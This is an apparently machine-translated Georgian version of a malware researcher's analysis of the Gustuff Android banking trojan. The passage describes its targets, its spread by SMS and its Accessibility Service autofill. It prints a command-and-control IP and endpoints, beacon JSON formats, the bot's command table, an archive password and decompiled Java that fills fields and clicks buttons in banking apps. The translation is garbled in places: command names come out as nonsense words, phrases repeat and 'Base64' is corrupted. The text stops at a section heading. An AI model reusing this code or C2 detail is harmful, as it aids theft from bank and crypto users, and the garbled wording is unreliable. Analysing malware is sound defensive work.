როგორ აშორებს Android Trojan Gustuff კრემს (fiat და კრიპტო) თქვენი ანგარიშებიდან

ცოტა ხნის წინ Group-IB იტყობინება მობილური Android Trojan Gustuff-ის საქმიანობის შესახებ. ის მუშაობს ექსკლუზიურად საერთაშორისო ბაზრებზე, უტევს 100 უმსხვილესი უცხოური ბანკის კლიენტებს, მობილური 32 კრიპტო საფულეების მომხმარებლებს და ასევე ელექტრონული კომერციის დიდ რესურსებს. მაგრამ Gustuff-ის შემქმნელი არის რუსულენოვანი კიბერკრიმინალი, მეტსახელად Bestoffer. ბოლო დრომდე იგი აფასებდა თავის ტროას, როგორც "სერიოზულ პროდუქტს ცოდნისა და გამოცდილების მქონე ადამიანებისთვის".

მავნე კოდების ანალიზის სპეციალისტი Group-IB-ში ივან პისარევი თავის კვლევაში ის დეტალურად საუბრობს იმაზე, თუ როგორ მუშაობს გუსტუფი და რა საფრთხეებია მისი.

ვისზე ნადირობს გუსტუფი?

Gustuff მიეკუთვნება ახალი თაობის მავნე პროგრამას სრულად ავტომატიზირებული ფუნქციებით. დეველოპერის თქმით, ტროას გახდა AndyBot malware-ის ახალი და გაუმჯობესებული ვერსია, რომელიც 2017 წლის ნოემბრიდან თავს ესხმის Android ტელეფონებს და იპარავს ფულს ფიშინგ ვებ-ფორმების საშუალებით, რომლებიც მასკარადირებულია როგორც ცნობილი საერთაშორისო ბანკების და გადახდის სისტემების მობილური აპლიკაციები. Bestoffer იტყობინება, რომ Gustuff Bot-ის გაქირავების ფასი იყო $800 თვეში.

Gustuff-ის ნიმუშის ანალიზმა აჩვენა, რომ ტროას პოტენციურად მიმართავს კლიენტებს უმსხვილესი ბანკების მობილური აპლიკაციების გამოყენებით, როგორიცაა Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ისევე როგორც Bitcoin. საფულე კრიპტო საფულეები. BitPay, Cryptopay, Coinbase და ა.შ.

თავდაპირველად შეიქმნა როგორც კლასიკური საბანკო ტროას, მიმდინარე ვერსიაში Gustuff-მა მნიშვნელოვნად გააფართოვა თავდასხმის პოტენციური სამიზნეების სია. გარდა Android აპლიკაციებისა ბანკებისთვის, ფინტექს კომპანიებისთვის და კრიპტო სერვისებისთვის, Gustuff გამიზნულია ბაზრის აპლიკაციების, ონლაინ მაღაზიების, გადახდის სისტემებისა და მყისიერი მესინჯერების მომხმარებლებისთვის. კერძოდ, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut და სხვა.

შესვლის წერტილი: გაანგარიშება მასობრივი ინფექციისთვის

გუსტუფს ახასიათებს ანდროიდის სმარტფონებში შეღწევის „კლასიკური“ ვექტორი SMS შეტყობინებების საშუალებით APK-ების ბმულებით. როდესაც ანდროიდის მოწყობილობა სერვერის ბრძანებით ინფიცირდება ტროიანით, გუსტუფი შეიძლება შემდგომ გავრცელდეს ინფიცირებული ტელეფონის საკონტაქტო მონაცემთა ბაზის ან სერვერის მონაცემთა ბაზის მეშვეობით. Gustuff-ის ფუნქციონირება შექმნილია მასობრივი ინფექციისთვის და მისი ოპერატორების ბიზნესის მაქსიმალური კაპიტალიზაციისთვის - მას აქვს უნიკალური "ავტომატური შევსების" ფუნქცია ლეგიტიმური მობილური ბანკინგის აპლიკაციებში და კრიპტო საფულეებში, რაც საშუალებას გაძლევთ დააჩქაროთ და გააფართოვოთ ფულის ქურდობა.

ტროას შესწავლამ აჩვენა, რომ მასში ავტომატური შევსების ფუნქცია განხორციელდა Accessibility Service-ის გამოყენებით, სერვისი შეზღუდული შესაძლებლობის მქონე პირებისთვის. Gustuff არ არის პირველი ტროასი, რომელმაც წარმატებით გადალახა დაცვა სხვა აპლიკაციების ფანჯრის ელემენტებთან ურთიერთქმედებისგან ამ Android სერვისის გამოყენებით. თუმცა, ხელმისაწვდომობის სერვისის გამოყენება მანქანის შემავსებელთან ერთად ჯერ კიდევ საკმაოდ იშვიათია.

მსხვერპლის ტელეფონში ჩამოტვირთვის შემდეგ, გუსტუფს, ხელმისაწვდომობის სერვისის გამოყენებით, შეუძლია ურთიერთქმედება სხვა აპლიკაციების ფანჯრის ელემენტებთან (საბანკო, კრიპტოვალუტა, ასევე ონლაინ შოპინგის აპლიკაციები, შეტყობინებები და ა.შ.), შეასრულოს თავდამსხმელებისთვის აუცილებელი მოქმედებები. . მაგალითად, სერვერის ბრძანებით, ტროას შეუძლია დააჭიროს ღილაკებს და შეცვალოს ტექსტური ველების მნიშვნელობები საბანკო აპლიკაციებში. Accessibility Service მექანიზმის გამოყენება საშუალებას აძლევს ტროას გვერდის ავლით გვერდის ავლით ბანკების მიერ გამოყენებული უსაფრთხოების მექანიზმებს წინა თაობის მობილური ტროასების წინააღმდეგ, ასევე Google-ის მიერ განხორციელებული უსაფრთხოების პოლიტიკაში Android OS-ის ახალ ვერსიებში. ამრიგად, გუსტუფმა „იცის როგორ“ გამორთოს Google Protect დაცვა: ავტორის თქმით, ეს ფუნქცია მუშაობს შემთხვევების 70%-ში.

Gustuff-ს ასევე შეუძლია აჩვენოს ყალბი PUSH შეტყობინებები ლეგიტიმური მობილური აპლიკაციების ხატებით. მომხმარებელი დააჭერს PUSH შეტყობინებას და ხედავს სერვერიდან ჩამოტვირთულ ფიშინგ ფანჯარას, სადაც შეაქვს მოთხოვნილი საბანკო ბარათის ან კრიპტო საფულის მონაცემები. Gustuff-ის სხვა სცენარში იხსნება აპლიკაცია, რომლის სახელითაც ნაჩვენები იყო PUSH შეტყობინება. ამ შემთხვევაში, მავნე პროგრამას, სერვერიდან ხელმისაწვდომობის სერვისის მეშვეობით ბრძანების საფუძველზე, შეუძლია შეავსოს საბანკო განაცხადის ფორმის ველები თაღლითური ტრანზაქციისთვის.

Gustuff-ის ფუნქცია ასევე მოიცავს სერვერზე ინფიცირებული მოწყობილობის შესახებ ინფორმაციის გაგზავნას, SMS შეტყობინებების წაკითხვის/გაგზავნას, USSD მოთხოვნის გაგზავნას, SOCKS5 Proxy-ის გაშვებას, ბმულის მიყოლას, ფაილების (მათ შორის დოკუმენტების ფოტოსკანირების, სკრინშოტების, ფოტოების) გაგზავნას. სერვერზე, გადააყენეთ მოწყობილობა ქარხნულ პარამეტრებზე.

მავნე პროგრამის ანალიზი

მავნე აპლიკაციის დაყენებამდე, Android OS უჩვენებს მომხმარებელს ფანჯარას, რომელიც შეიცავს Gustuff-ის მიერ მოთხოვნილი უფლებების ჩამონათვალს:

აპლიკაცია დაინსტალირდება მხოლოდ მომხმარებლის თანხმობის მიღების შემდეგ. აპლიკაციის გაშვების შემდეგ, ტროას მომხმარებელი უჩვენებს ფანჯარას:

რის შემდეგაც ის ამოიღებს თავის ხატულას.

Gustuff შეფუთულია, ავტორის თქმით, FTT-ის შემფუთველის მიერ. გაშვების შემდეგ, აპლიკაცია პერიოდულად დაუკავშირდება CnC სერვერს ბრძანებების მისაღებად. ჩვენ მიერ შესწავლილმა რამდენიმე ფაილმა გამოიყენა IP მისამართი, როგორც საკონტროლო სერვერი 88.99.171[.]105 (შემდგომში აღვნიშნავთ როგორც ).

გაშვების შემდეგ, პროგრამა იწყებს შეტყობინებების გაგზავნას სერვერზე http://<%CnC%>/api/v1/get.php.

პასუხი სავარაუდოდ იქნება JSON შემდეგ ფორმატში:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

ყოველ ჯერზე, როცა აპლიკაციაზე წვდომა ხდება, ის აგზავნის ინფორმაციას ინფიცირებული მოწყობილობის შესახებ. შეტყობინების ფორმატი ნაჩვენებია ქვემოთ. აღსანიშნავია, რომ მინდვრები სრული, დამატებითი, apps и ნებართვა – სურვილისამებრ და გაიგზავნება მხოლოდ CnC-დან მოთხოვნის ბრძანების შემთხვევაში.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

კონფიგურაციის მონაცემების შენახვა

Gustuff ინახავს ოპერაციულად მნიშვნელოვან ინფორმაციას პრიორიტეტულ ფაილში. ფაილის სახელი, ისევე როგორც მასში არსებული პარამეტრების სახელები, არის სტრიქონიდან MD5 ჯამის გამოთვლის შედეგი. 15413090667214.6.1სად - საწყისი სახელი-მნიშვნელობა. სახელის გენერირების ფუნქციის პითონის ინტერპრეტაცია:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

შემდეგში აღვნიშნავთ როგორც nameGenerator (შეყვანა).
ასე რომ, პირველი ფაილის სახელია: nameGenerator ("API_SERVER_LIST"), ის შეიცავს მნიშვნელობებს შემდეგი სახელებით:

ცვლადის სახელი	ღირებულება
nameGenerator ("API_SERVER_LIST")	შეიცავს CnC მისამართების სიას მასივის სახით.
nameGenerator ("API_SERVER_URL")	შეიცავს CnC მისამართს.
nameGenerator ("SMS_UPLOAD")	დროშა დაყენებულია ნაგულისხმევად. თუ დროშა დაყენებულია, აგზავნის SMS შეტყობინებებს CnC-ზე.
nameGenerator ("SMS_ROOT_NUMBER")	ტელეფონის ნომერი, რომელზეც გაიგზავნება ინფიცირებული მოწყობილობის მიერ მიღებული SMS შეტყობინებები. ნაგულისხმევი არის null.
nameGenerator ("SMS_ROOT_NUMBER_RESEND")	დროშა გასუფთავებულია ნაგულისხმევად. თუ დაინსტალირებულია, როდესაც ინფიცირებული მოწყობილობა მიიღებს SMS-ს, ის გაიგზავნება root ნომერზე.
nameGenerator ("DEFAULT_APP_SMS")	დროშა გასუფთავებულია ნაგულისხმევად. თუ ეს დროშა დაყენებულია, აპლიკაცია დაამუშავებს შემომავალ SMS შეტყობინებებს.
nameGenerator ("DEFAULT_ADMIN")	დროშა გასუფთავებულია ნაგულისხმევად. თუ დროშა დაყენებულია, აპლიკაციას აქვს ადმინისტრატორის უფლებები.
nameGenerator ("DEFAULT_ACCESSIBILITY")	დროშა გასუფთავებულია ნაგულისხმევად. თუ დროშა დაყენებულია, გაშვებულია სერვისი, რომელიც იყენებს ხელმისაწვდომობის სერვისს.
nameGenerator ("APPS_CONFIG")	JSON ობიექტი, რომელიც შეიცავს მოქმედებების ჩამონათვალს, რომლებიც უნდა შესრულდეს კონკრეტულ აპლიკაციასთან დაკავშირებული ხელმისაწვდომობის მოვლენის გაშვებისას.
nameGenerator ("APPS_INSTALLED")	ინახავს მოწყობილობაზე დაინსტალირებული აპლიკაციების ჩამონათვალს.
nameGenerator ("IS_FIST_RUN")	დროშა გადატვირთულია პირველივე დაწყებისას.
nameGenerator ("UNIQUE_ID")	შეიცავს უნიკალურ იდენტიფიკატორს. გენერირებულია ბოტის პირველად გაშვებისას.

სერვერიდან ბრძანებების დამუშავების მოდული

აპლიკაცია ინახავს CnC სერვერების მისამართებს მასივის სახით, რომელიც კოდირებულია Basexnumx ხაზები. CnC სერვერების სია შეიძლება შეიცვალოს შესაბამისი ბრძანების მიღებისთანავე, ამ შემთხვევაში მისამართები შეინახება პრიორიტეტულ ფაილში.

მოთხოვნის საპასუხოდ, სერვერი აგზავნის ბრძანებას აპლიკაციაში. აღსანიშნავია, რომ ბრძანებები და პარამეტრები წარმოდგენილია JSON ფორმატში. აპლიკაციას შეუძლია შემდეგი ბრძანებების დამუშავება:

გუნდი	აღწერა
წინდაწყება	დაიწყეთ ინფიცირებული მოწყობილობის მიერ მიღებული SMS შეტყობინებების გაგზავნა CnC სერვერზე.
წინ გაჩერება	შეწყვიტეთ ინფიცირებული მოწყობილობის მიერ მიღებული SMS შეტყობინებების გაგზავნა CnC სერვერზე.
ussdRun	შეასრულეთ USSD მოთხოვნა. ნომერი, რომელზეც გჭირდებათ USSD მოთხოვნის გაკეთება, მდებარეობს JSON ველში „ნომერი“.
SMS გაგზავნა	გაგზავნეთ ერთი SMS შეტყობინება (საჭიროების შემთხვევაში, შეტყობინება "იყოფა" ნაწილებად). როგორც პარამეტრი, ბრძანება იღებს JSON ობიექტს, რომელიც შეიცავს ველებს "to" - დანიშნულების ნომერი და "body" - შეტყობინების ტექსტი.
sendSmsAb	გაუგზავნეთ SMS შეტყობინებები (საჭიროების შემთხვევაში, შეტყობინება "დაყოფილია" ნაწილებად) ყველას ინფიცირებული მოწყობილობის კონტაქტების სიაში. შეტყობინებების გაგზავნას შორის ინტერვალი არის 10 წამი. შეტყობინების ტექსტი არის JSON ველში "body"
გაგზავნეთSmsMass	გაგზავნეთ SMS შეტყობინებები (საჭიროების შემთხვევაში, შეტყობინება "დაყოფილია" ნაწილებად) ბრძანების პარამეტრებში მითითებულ კონტაქტებზე. შეტყობინებების გაგზავნას შორის ინტერვალი არის 10 წამი. როგორც პარამეტრი, ბრძანება იღებს JSON მასივს ("sms" ველი), რომლის ელემენტები შეიცავს ველებს "to" - დანიშნულების ნომერი და "body" - შეტყობინების ტექსტი.
შეცვლა სერვერი	ამ ბრძანებას შეუძლია მიიღოს მნიშვნელობა გასაღებით „url“ პარამეტრად - შემდეგ ბოტი შეცვლის nameGenerator-ის („SERVER_URL“) ან „მასივის“ მნიშვნელობას - შემდეგ ბოტი ჩაწერს მასივს nameGenerator-ში („API_SERVER_LIST“) ამრიგად, აპლიკაცია ცვლის CnC სერვერების მისამართს.
ადმინისტრატორის ნომერი	ბრძანება შექმნილია root რიცხვთან მუშაობისთვის. ბრძანება იღებს JSON ობიექტს შემდეგი პარამეტრებით: "number" — შეცვალეთ nameGenerator("ROOT_NUMBER") მიღებულ მნიშვნელობაზე, "ხელახლა გაგზავნა" — შეცვალეთ nameGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" — გაგზავნეთ nameGenerator-ზე ("ROOT_NUMBER" ) უნიკალური ID.
ინფორმაციის განახლება	გაგზავნეთ ინფორმაცია ინფიცირებული მოწყობილობის შესახებ სერვერზე.
მონაცემების წაშლა	ბრძანება მიზნად ისახავს მომხმარებლის მონაცემების წაშლას. იმისდა მიხედვით, თუ რა სახელით არის გაშვებული აპლიკაცია, ან მონაცემები მთლიანად წაიშლება მოწყობილობის გადატვირთვით (პირველადი მომხმარებელი), ან წაიშლება მხოლოდ მომხმარებლის მონაცემები (მეორადი მომხმარებელი).
წინდებიდაწყება	გაუშვით პროქსი მოდული. მოდულის მოქმედება აღწერილია ცალკეულ განყოფილებაში.
წინდებიStop	გააჩერეთ პროქსი მოდული.
გახსენი ბმული	მიჰყევით ბმულს. ბმული მდებარეობს JSON პარამეტრში "url" კლავიშის ქვეშ. „android.intent.action.VIEW“ გამოიყენება ბმულის გასახსნელად.
ატვირთე AllSms	მოწყობილობის მიერ მიღებული ყველა SMS გაგზავნა სერვერზე.
ატვირთეთ ყველაფოტო	გაგზავნეთ სურათები ინფიცირებული მოწყობილობიდან URL-ზე. URL მოდის როგორც პარამეტრი.
ატვირთე ფაილი	გაგზავნეთ ფაილი URL-ზე ინფიცირებული მოწყობილობიდან. URL მოდის როგორც პარამეტრი.
ატვირთეთ ტელეფონის ნომრები	გაგზავნეთ ტელეფონის ნომრები თქვენი საკონტაქტო სიიდან სერვერზე. თუ პარამეტრად მიიღება JSON ობიექტის მნიშვნელობა კლავიშით „ab“, აპლიკაცია მიიღებს კონტაქტების სიას ტელეფონის წიგნიდან. თუ პარამეტრად მიიღება JSON ობიექტი გასაღებით „sms“, აპლიკაცია წაიკითხავს SMS შეტყობინებების გამგზავნის კონტაქტების ჩამონათვალს.
შეცვლაარქივი	აპლიკაცია ჩამოტვირთავს ფაილს იმ მისამართიდან, რომელიც პარამეტრად მოდის "url" ღილაკის გამოყენებით. გადმოწერილი ფაილი ინახება სახელით "archive.zip". ამის შემდეგ აპლიკაცია ამოიხსნის ფაილს, სურვილისამებრ არქივის პაროლის „b5jXh37gxgHBrZhQ4j3D“ გამოყენებით. unzipped ფაილები ინახება [გარე შენახვის]/hgps დირექტორიაში. ამ დირექტორიაში, აპლიკაცია ინახავს ვებ ყალბებს (ქვემოთ აღწერილი).
ქმედებები	ბრძანება შექმნილია Action Service-თან მუშაობისთვის, რომელიც აღწერილია ცალკეულ განყოფილებაში.
ტესტი	არაფერს აკეთებს.
ჩამოტვირთვა	ბრძანება მიზნად ისახავს ფაილის გადმოტვირთვას დისტანციური სერვერიდან და შეინახოს იგი "ჩამოტვირთვების" დირექტორიაში. URL და ფაილის სახელი მოდის როგორც პარამეტრი, ველები JSON პარამეტრის ობიექტში, შესაბამისად: „url“ და „fileName“.
ამოიღონ	შლის ფაილს "ჩამოტვირთვების" დირექტორიადან. ფაილის სახელი მოდის JSON პარამეტრში "fileName" ღილაკით. ფაილის სტანდარტული სახელია "tmp.apk".
შეტყობინებიდან	აჩვენეთ შეტყობინება აღწერილობით და სათაურის ტექსტებით, რომლებიც განსაზღვრულია მართვის სერვერის მიერ.

ბრძანების ფორმატი შეტყობინებიდან:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

გამოძიების ქვეშ მყოფი ფაილის მიერ გენერირებული შეტყობინება გამოიყურება ველში მითითებული აპლიკაციის მიერ გენერირებული შეტყობინებების იდენტურია app. თუ ველის მნიშვნელობა ღია აპლიკაცია — მართალია, როცა შეტყობინება იხსნება, ველში მითითებული აპლიკაცია იხსნება app. თუ ველის მნიშვნელობა ღია აპლიკაცია - ტყუილია, მაშინ:

• იხსნება ფიშინგის ფანჯარა, რომლის შინაარსი ჩამოტვირთულია დირექტორიადან /hgps/
• იხსნება ფიშინგის ფანჯარა, რომლის შინაარსი იტვირთება სერვერიდან ?id=&app=
• იხსნება ფიშინგის ფანჯარა, გადაცმული Google Play Card-ით, ბარათის დეტალების შეყვანის შესაძლებლობით.

აპლიკაცია აგზავნის ნებისმიერი ბრძანების შედეგს set_state.php როგორც JSON ობიექტი შემდეგ ფორმატში:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

აქციების სერვისი
ბრძანებების სია, რომლებსაც განაცხადი ამუშავებს აქცია. როდესაც ბრძანება მიიღება, ბრძანების დამუშავების მოდული წვდება ამ სერვისს გაფართოებული ბრძანების შესასრულებლად. სერვისი იღებს JSON ობიექტს პარამეტრად. სერვისს შეუძლია შეასრულოს შემდეგი ბრძანებები:

1. PARAMS_ACTION — ასეთი ბრძანების მიღებისას სერვისი ჯერ JSON პარამეტრიდან იღებს Type გასაღების მნიშვნელობას, რომელიც შეიძლება იყოს შემდეგი:

• სერვისის ინფორმაცია – ქვებრძანება იღებს მნიშვნელობას გასაღების მიხედვით JSON პარამეტრიდან მოიცავს არამნიშვნელოვანს. თუ დროშა არის True, აპლიკაცია ადგენს დროშას FLAG_ISOLATED_PROCESS სერვისზე, რომელიც იყენებს ხელმისაწვდომობის სერვისს. ამ გზით სერვისი ამოქმედდება ცალკე პროცესით.
• root — მიიღეთ და გაგზავნეთ სერვერზე ინფორმაცია ფანჯრის შესახებ, რომელიც ამჟამად ფოკუსირებულია. აპლიკაცია ინფორმაციას იღებს AccessibilityNodeInfo კლასის გამოყენებით.
• admin — მოითხოვეთ ადმინისტრატორის უფლებები.
• დაგვიანებით — შეაჩერეთ ActionsService იმ მილიწამებში, რომელიც მითითებულია პარამეტრში „მონაცემების“ გასაღებისთვის.
• Windows — გაუგზავნე მომხმარებლისთვის ხილული ფანჯრების სია.
• ინსტალაცია — დააინსტალირეთ აპლიკაცია ინფიცირებულ მოწყობილობაზე. არქივის პაკეტის სახელი არის "fileName" კლავიშში. თავად არქივი მდებარეობს ჩამოტვირთვების დირექტორიაში.
• გლობალური – ქვებრძანება გამიზნულია მიმდინარე ფანჯრიდან ნავიგაციისთვის:
  • სწრაფი პარამეტრების მენიუში
  • უკან
  • სახლში
  • შეტყობინებებზე
  • ახლახან გახსნილ აპლიკაციების ფანჯარაში

• დაიწყოს - გაუშვით აპლიკაცია. განაცხადის სახელი მოდის როგორც პარამეტრი კლავიშად მონაცემები.
• კინო — შეცვალეთ ხმის რეჟიმი დუმილზე.
• დართვა — რთავს ეკრანისა და კლავიატურის განათებას სრულ სიკაშკაშემდე. აპლიკაცია ასრულებს ამ მოქმედებას WakeLock-ის გამოყენებით, თეგის სახით მიუთითებს სტრიქონს [Application lable]:INFO
• ნებართვის გადაფარვა — ფუნქცია არ არის განხორციელებული (ბრძანების შესრულებაზე პასუხი არის {"message":"Not support"} ან {"message":"low sdk"})
• ჟესტი — ფუნქცია არ არის განხორციელებული (ბრძანების შესრულებაზე პასუხი არის {"message":"Not support"}ან {"message":"Low API"})
• უფლებები — ეს ბრძანება აუცილებელია განაცხადისთვის ნებართვების მოთხოვნით. თუმცა, შეკითხვის ფუნქცია არ არის განხორციელებული, ამიტომ ბრძანება უაზროა. მოთხოვნილი უფლებების სია მოდის JSON მასივის სახით „ნებართვების“ გასაღებით. სტანდარტული სია:
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_CONTACTS
  • android.permission.CALL_PHONE
  • android.permission.RECEIVE_SMS
  • android.permission.SEND_SMS
  • android.permission.READ_SMS
  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.WRITE_EXTERNAL_STORAGE

• გახსნა — აჩვენეთ ფიშინგის ფანჯარა. სერვერიდან გამომავალი პარამეტრიდან გამომდინარე, აპლიკაციამ შეიძლება აჩვენოს შემდეგი ფიშინგის ფანჯრები:
  • აჩვენეთ ფიშინგის ფანჯარა, რომლის შიგთავსი ჩაწერილია ფაილში დირექტორიაში /hgps/. მომხმარებლის ინტერაქციის შედეგი ფანჯარასთან გაიგზავნება /records.php
  • აჩვენეთ ფიშინგის ფანჯარა, რომლის შიგთავსი წინასწარ არის ჩატვირთული მისამართიდან ?id=&app=. მომხმარებლის ინტერაქციის შედეგი ფანჯარასთან გაიგზავნება /records.php
  • აჩვენეთ ფიშინგის ფანჯარა, რომელიც გადაცმულია Google Play ბარათის სახით.

• ინტერაქტიული — ბრძანება შექმნილია სხვა აპლიკაციების ფანჯრის ელემენტებთან ურთიერთობისთვის AcessibilityService-ის გამოყენებით. ინტერაქციის პროგრამაში განხორციელდა სპეციალური სერვისი. გამოძიებულ აპლიკაციას შეუძლია Windows-თან ურთიერთობა:
  • ამჟამად აქტიურია. ამ შემთხვევაში, პარამეტრი შეიცავს ობიექტის ID-ს ან ტექსტს (სახელს), რომელთანაც თქვენ უნდა დაუკავშირდეთ.
  • ხილული მომხმარებლისთვის ბრძანების შესრულების დროს. აპლიკაცია ირჩევს Windows-ს ID-ით.

  ობიექტების მიღებისას AccessibilityNodeInfo ფანჯრის საინტერესო ელემენტებისთვის, აპლიკაციას, პარამეტრებიდან გამომდინარე, შეუძლია შეასრულოს შემდეგი მოქმედებები:

  • ფოკუსირება - ფოკუსის დაყენება ობიექტზე.
  • დააჭირეთ - დააწკაპუნეთ ობიექტზე.
  • actionId — შეასრულეთ მოქმედება ID-ით.
  • setText - შეცვალეთ ობიექტის ტექსტი. ტექსტის შეცვლა შესაძლებელია ორი გზით: მოქმედების შესრულება ACTION_SET_TEXT (თუ ინფიცირებული მოწყობილობის Android ვერსია უფრო ახალგაზრდაა ან ტოლია LOLLIPOP), ან ბუფერში სტრიქონის დაყენებით და ობიექტში ჩასმით (ძველი ვერსიებისთვის). ეს ბრძანება შეიძლება გამოყენებულ იქნას საბანკო აპლიკაციაში მონაცემების შესაცვლელად.

2. PARAMS_ACTIONS - იგივე რაც PARAMS_ACTION, შემოდის მხოლოდ JSON ბრძანებების მასივი.

როგორც ჩანს, ბევრს დააინტერესებს, როგორ გამოიყურება სხვა აპლიკაციის ფანჯრის ელემენტებთან ურთიერთობის ფუნქცია. ეს ფუნქცია განხორციელებულია Gustuff-ში:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

ტექსტის ჩანაცვლების ფუნქცია:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

ამრიგად, საკონტროლო სერვერის სწორი კონფიგურაციით, გუსტუფს შეუძლია შეავსოს ტექსტური ველები საბანკო აპლიკაციაში და დააჭიროს ღილაკებს, რომლებიც აუცილებელია ტრანზაქციის დასასრულებლად. ტროას აპლიკაციაში შესვლაც კი არ სჭირდება - საკმარისია გაგზავნოთ ბრძანება PUSH შეტყობინების საჩვენებლად და შემდეგ გახსნათ ადრე დაინსტალირებული საბანკო აპლიკაცია. მომხმარებელი თავად მოახდენს ავთენტიფიკაციას, რის შემდეგაც გუსტუფს შეეძლება მანქანის შევსება.

SMS შეტყობინებების დამუშავების მოდული

აპლიკაცია აინსტალირებს მოვლენის დამმუშავებელს ინფიცირებული მოწყობილობისთვის SMS შეტყობინებების მისაღებად. შესწავლილ აპლიკაციას შეუძლია მიიღოს ოპერატორისგან ბრძანებები, რომლებიც შედის SMS შეტყობინების სხეულში. ბრძანებები მოდის ფორმატში:

7!5=

აპლიკაცია ეძებს სტრიქონს ყველა შემოსულ SMS შეტყობინებაში 7!5=, როდესაც სტრიქონი აღმოჩენილია, ის დეკოდირებს სტრიქონს Base64-დან offset 4-ზე და ასრულებს ბრძანებას. ბრძანებები მსგავსია CnC-ით. შესრულების შედეგი იგზავნება იმავე ნომერზე, საიდანაც მოვიდა ბრძანება. პასუხის ფორმატი:

7*5=

სურვილისამებრ, აპლიკაციას შეუძლია ყველა მიღებული შეტყობინების გაგზავნა Root ნომერზე. ამისათვის, Root ნომერი უნდა იყოს მითითებული პრიორიტეტულ ფაილში და დაყენებული უნდა იყოს შეტყობინების გადამისამართების დროშა. SMS შეტყობინება იგზავნება თავდამსხმელის ნომერზე ფორმატში:

-

ასევე, სურვილისამებრ, აპლიკაციას შეუძლია შეტყობინებების გაგზავნა CnC-ზე. SMS შეტყობინება იგზავნება სერვერზე JSON ფორმატში:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

თუ დროშა დაყენებულია nameGenerator ("DEFAULT_APP_SMS") – აპლიკაცია წყვეტს SMS შეტყობინების დამუშავებას და ასუფთავებს შემომავალი შეტყობინებების სიას.

პროქსი მოდული

